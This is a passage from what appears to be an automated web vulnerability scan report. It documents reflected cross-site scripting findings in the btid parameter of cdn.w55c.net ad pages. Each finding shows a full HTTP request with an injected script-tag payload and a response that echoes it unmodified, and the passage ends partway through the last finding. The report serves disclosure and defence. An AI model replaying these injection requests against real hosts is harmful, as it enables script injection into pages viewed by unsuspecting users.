GET /i/0RES95J3Zo_918427505.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDQwMTEwMDA3M0ZBMTBBRTU3RTQ3MURFMTYzMzN8R0Y2VkdlZW5ncnwxMzAzNjU4NTE1NTAxfDF8MEZNQXp6YTk2dHwwUkVTOTVKM1pvfEVYXzEwMjM0NzcyMDZ8ODY2NDgz3e7c8"><script>alert(1)</script>b7455b3da66&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRAEQAHP6EK5X5HHeFjM058SIacGTDQNRf0Tg&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZNQXp6YTk2dA&ciu=MFJFUzk1SjNabw&reqid=NERCNDQwMTEwMDA3M0ZBMTBBRTU3RTQ3MURFMTYzMzM&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=866&zc=NzUyMDc&v=0&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303676516&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keyword%7D&dt=1303658516462&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303658516467&frm=1&adk=2614322350&ga_vid=1758961832.1303658516&ga_sid=1303658516&ga_hid=2008436335&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3901296887&fu=4&ifi=1&dtd=8
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 15:30:15 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Mon, 28 Feb 2011 21:20:22 GMT
Date: Sun, 24 Apr 2011 15:27:48 GMT
Server: w55c.net
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy)
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 1420

<IFRAME SRC="http://ad.doubleclick.net/adi/N4270.158901.DATAXU/B5279302.4;sz=160x600;pc=[TPAS_ID];ord=NERCNDQwMTEwMDA3M0ZBMTBBRTU3RTQ3MURFMTYzMzN8R0Y2VkdlZW5ncnwxMzAzNjU4NTE1NTAxfDF8MEZNQXp6YTk2dHwwUk
...[SNIP]...
270.158901.DATAXU/B5279302.4;abr=!ie;sz=160x600;pc=[TPAS_ID];ord=NERCNDQwMTEwMDA3M0ZBMTBBRTU3RTQ3MURFMTYzMzN8R0Y2VkdlZW5ncnwxMzAzNjU4NTE1NTAxfDF8MEZNQXp6YTk2dHwwUkVTOTVKM1pvfEVYXzEwMjM0NzcyMDZ8ODY2NDgz3e7c8"><script>alert(1)</script>b7455b3da66?">
...[SNIP]...

6.64. http://cdn.w55c.net/i/0RES95J3Zo_918427505.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0RES95J3Zo_918427505.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fc11f"><script>alert(1)</script>bc50ef3ac45 was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0RES95J3Zo_918427505.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=fc11f"><script>alert(1)</script>bc50ef3ac45&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRAEQAHP6EK5X5HHeFjM058SIacGTDQNRf0Tg&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZNQXp6YTk2dA&ciu=MFJFUzk1SjNabw&reqid=NERCNDQwMTEwMDA3M0ZBMTBBRTU3RTQ3MURFMTYzMzM&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=866&zc=NzUyMDc&v=0&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303676516&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keyword%7D&dt=1303658516462&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303658516467&frm=1&adk=2614322350&ga_vid=1758961832.1303658516&ga_sid=1303658516&ga_hid=2008436335&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3901296887&fu=4&ifi=1&dtd=8
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 15:30:18 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Mon, 28 Feb 2011 21:20:22 GMT
Date: Sun, 24 Apr 2011 14:52:24 GMT
Server: w55c.net
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy)
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 876

<IFRAME SRC="http://ad.doubleclick.net/adi/N4270.158901.DATAXU/B5279302.4;sz=160x600;pc=[TPAS_ID];ord=fc11f"><script>alert(1)</script>bc50ef3ac45?" WIDTH=160 HEIGHT=600 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'>
...[SNIP]...

6.65. http://cdn.w55c.net/i/0REyoPRMSz_696710848.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0REyoPRMSz_696710848.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 987b4"><script>alert(1)</script>10957bb4bdf was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0REyoPRMSz_696710848.html?rtbhost=rts-rr12.sldc.dataxu.net&btid=NERCNDNGRkEwMDBFMDk4MTBBRTU3NzUwMjNGNDVBMEN8R0Zmd0tBcHhIeHwxMzAzNjU4NDkyOTk5fDF8MEY2WXJBQmRPUHwwUkV5b1BSTVN6fEVYXzEwMjM0NzcyMDZ8NDIwNDQw987b4"><script>alert(1)</script>10957bb4bdf&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbQ_-gAOCYEK5XdQI_RaDCZm9H-nfhLkah7veg&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEY2WXJBQmRPUA&ciu=MFJFeW9QUk1Teg&reqid=NERCNDNGRkEwMDBFMDk4MTBBRTU3NzUwMjNGNDVBMEM&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=420&zc=NzUyMDc&v=0&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_728_90_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=90&slotname=9524956792&w=728&lmt=1303676493&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_728_90_b.php%3Fsearch%3D%7B%24keyword%7D&dt=1303658493907&bpp=4&shv=r20110420&jsv=r20110415&correlator=1303658493914&frm=1&adk=513358139&ga_vid=1738821208.1303658494&ga_sid=1303658494&ga_hid=1857389626&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3961147505&fu=4&ifi=1&dtd=9
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 15:27:11 GMT
Cache-Control: no-cache, no-store
Pragma: no-cache
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Date: Sun, 24 Apr 2011 15:25:46 GMT
Accept-Ranges: bytes
Last-Modified: Mon, 04 Apr 2011 01:04:45 GMT
Server: w55c.net
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy)
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 7133

<IFRAME SRC="http://ad.doubleclick.net/adi/N553.158901.DATAXU/B4970757.16;sz=728x90;pc=[TPAS_ID];ord=NERCNDNGRkEwMDBFMDk4MTBBRTU3NzUwMjNGNDVBMEN8R0Zmd0tBcHhIeHwxMzAzNjU4NDkyOTk5fDF8MEY2WXJBQmRPUHwwUkV
...[SNIP]...
553.158901.DATAXU/B4970757.16;abr=!ie;sz=728x90;pc=[TPAS_ID];ord=NERCNDNGRkEwMDBFMDk4MTBBRTU3NzUwMjNGNDVBMEN8R0Zmd0tBcHhIeHwxMzAzNjU4NDkyOTk5fDF8MEY2WXJBQmRPUHwwUkV5b1BSTVN6fEVYXzEwMjM0NzcyMDZ8NDIwNDQw987b4"><script>alert(1)</script>10957bb4bdf?">
...[SNIP]...

6.66. http://cdn.w55c.net/i/0REyoPRMSz_696710848.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0REyoPRMSz_696710848.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7cfd2"><script>alert(1)</script>28ea52001bf was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0REyoPRMSz_696710848.html?rtbhost=rts-rr12.sldc.dataxu.net&btid=7cfd2"><script>alert(1)</script>28ea52001bf&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbQ_-gAOCYEK5XdQI_RaDCZm9H-nfhLkah7veg&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEY2WXJBQmRPUA&ciu=MFJFeW9QUk1Teg&reqid=NERCNDNGRkEwMDBFMDk4MTBBRTU3NzUwMjNGNDVBMEM&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=420&zc=NzUyMDc&v=0&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_728_90_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=90&slotname=9524956792&w=728&lmt=1303676493&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_728_90_b.php%3Fsearch%3D%7B%24keyword%7D&dt=1303658493907&bpp=4&shv=r20110420&jsv=r20110415&correlator=1303658493914&frm=1&adk=513358139&ga_vid=1738821208.1303658494&ga_sid=1303658494&ga_hid=1857389626&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3961147505&fu=4&ifi=1&dtd=9
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 15:27:13 GMT
Cache-Control: no-cache, no-store
Pragma: no-cache
Date: Sun, 24 Apr 2011 15:27:03 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Mon, 04 Apr 2011 01:04:45 GMT
Server: w55c.net
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy)
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 6589

<IFRAME SRC="http://ad.doubleclick.net/adi/N553.158901.DATAXU/B4970757.16;sz=728x90;pc=[TPAS_ID];ord=7cfd2"><script>alert(1)</script>28ea52001bf?" WIDTH=728 HEIGHT=90 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'>
...[SNIP]...

6.67. http://cdn.w55c.net/i/0RFFcWpaTN_954073853.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0RFFcWpaTN_954073853.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a5a7d"><script>alert(1)</script>01f68b45030 was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0RFFcWpaTN_954073853.html?rtbhost=rts-rr15.sldc.dataxu.net&btid=NERCNDQwMTEwMDA4MTBBRDBBRTU4MzRDMzhCQTFCRjV8R0Z1djIzNkVXbHwxMzAzNjU4NTE2OTM4fDF8MEZGeVp3NFpBSnwwUkZGY1dwYVROfEVYXzEwMjM0NzcyMDZ8NTAzNjI2a5a7d"><script>alert(1)</script>01f68b45030&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRAEQAIEK0K5YNMOLob9Z6R4rJH8FZ3KUYu1A&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZGeVp3NFpBSg&ciu=MFJGRmNXcGFUTg&reqid=NERCNDQwMTEwMDA4MTBBRDBBRTU4MzRDMzhCQTFCRjU&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=503&zc=NzUyMDc&v=0&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_728_90_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=90&slotname=9524956792&w=728&lmt=1303676516&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_728_90_b.php%3Fsearch%3D%7B%24keyword%7D&dt=1303658516518&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303658516523&frm=1&adk=513358139&ga_vid=1030430259.1303658517&ga_sid=1303658517&ga_hid=340899808&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3961147505&fu=4&ifi=1&dtd=8
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 15:30:22 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Tue, 15 Mar 2011 22:27:10 GMT
Date: Sun, 24 Apr 2011 15:15:35 GMT
Server: w55c.net
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy)
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 1344

<IFRAME SRC="http://ad.doubleclick.net/adi/N5315.158901.DATAXU/B5334493.10;sz=728x90;ord=NERCNDQwMTEwMDA4MTBBRDBBRTU4MzRDMzhCQTFCRjV8R0Z1djIzNkVXbHwxMzAzNjU4NTE2OTM4fDF8MEZGeVp3NFpBSnwwUkZGY1dwYVROfEV
...[SNIP]...
ck.net/adj/N5315.158901.DATAXU/B5334493.10;abr=!ie;sz=728x90;ord=NERCNDQwMTEwMDA4MTBBRDBBRTU4MzRDMzhCQTFCRjV8R0Z1djIzNkVXbHwxMzAzNjU4NTE2OTM4fDF8MEZGeVp3NFpBSnwwUkZGY1dwYVROfEVYXzEwMjM0NzcyMDZ8NTAzNjI2a5a7d"><script>alert(1)</script>01f68b45030?">
...[SNIP]...

6.68. http://cdn.w55c.net/i/0RFFcWpaTN_954073853.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0RFFcWpaTN_954073853.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b5787"><script>alert(1)</script>7759d110b5 was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0RFFcWpaTN_954073853.html?rtbhost=rts-rr15.sldc.dataxu.net&btid=b5787"><script>alert(1)</script>7759d110b5&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRAEQAIEK0K5YNMOLob9Z6R4rJH8FZ3KUYu1A&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZGeVp3NFpBSg&ciu=MFJGRmNXcGFUTg&reqid=NERCNDQwMTEwMDA4MTBBRDBBRTU4MzRDMzhCQTFCRjU&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=503&zc=NzUyMDc&v=0&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_728_90_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=90&slotname=9524956792&w=728&lmt=1303676516&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_728_90_b.php%3Fsearch%3D%7B%24keyword%7D&dt=1303658516518&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303658516523&frm=1&adk=513358139&ga_vid=1030430259.1303658517&ga_sid=1303658517&ga_hid=340899808&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3961147505&fu=4&ifi=1&dtd=8
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 15:30:25 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Tue, 15 Mar 2011 22:27:10 GMT
Date: Sun, 24 Apr 2011 15:23:31 GMT
Server: w55c.net
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy)
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 796

<IFRAME SRC="http://ad.doubleclick.net/adi/N5315.158901.DATAXU/B5334493.10;sz=728x90;ord=b5787"><script>alert(1)</script>7759d110b5?" WIDTH=728 HEIGHT=90 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'>
...[SNIP]...

6.69. http://cdn.w55c.net/i/0ROvzxEJNe_571009919.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0ROvzxEJNe_571009919.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload f0483'><script>alert(1)</script>f8146e8c54f was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0ROvzxEJNe_571009919.html?rtbhost=rts-rr10.sldc.dataxu.net&btid=NERCNDREMkUwMDA5Rjk5RTBBRTU3RDQzMjkwNTUzODJ8R0ZGdXp2Y2ttQnwxMzAzNjYxODcyNjkyfDF8MEZCWWt3ZjdTV3wwUk92enhFSk5lfEVYXzEwMjM0NzcyMDZ8NTcwMDA0f0483'><script>alert(1)</script>f8146e8c54f&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNLgAJ-Z4K5X1DKQVTggYCu04PFXSP5d7SLQ&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZCWWt3ZjdTVw&ciu=MFJPdnp4RUpOZQ&reqid=NERCNDREMkUwMDA5Rjk5RTBBRTU3RDQzMjkwNTUzODI&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=570&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679873&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661873586&bpp=4&shv=r20110420&jsv=r20110415&correlator=1303661873599&frm=1&adk=2614322350&ga_vid=1404053174.1303661874&ga_sid=1303661874&ga_hid=824907956&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=19
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:10:18 GMT
Server: w55c.net
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:17:59 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Mon, 11 Apr 2011 17:52:03 GMT
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 463
Cache-Control: no-cache, no-store
pragma: no-cache
Via: 1.1 mdw061007 (MII-APC/1.6)
Content-Length: 861

<iframe id='a3cde47f' name='a3cde47f' src='http://d.w55c.net/afr.php?zoneid=790&cb=NERCNDREMkUwMDA5Rjk5RTBBRTU3RDQzMjkwNTUzODJ8R0ZGdXp2Y2ttQnwxMzAzNjYxODcyNjkyfDF8MEZCWWt3ZjdTV3wwUk92enhFSk5lfEVYX
...[SNIP]...
<a href='http://d.w55c.net/ck.php?n=a186394a&cb=NERCNDREMkUwMDA5Rjk5RTBBRTU3RDQzMjkwNTUzODJ8R0ZGdXp2Y2ttQnwxMzAzNjYxODcyNjkyfDF8MEZCWWt3ZjdTV3wwUk92enhFSk5lfEVYXzEwMjM0NzcyMDZ8NTcwMDA0f0483'><script>alert(1)</script>f8146e8c54f' target='_blank'>
...[SNIP]...

6.70. http://cdn.w55c.net/i/0ROvzxEJNe_571009919.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0ROvzxEJNe_571009919.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 92db2'><script>alert(1)</script>2ac55c6fad6 was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

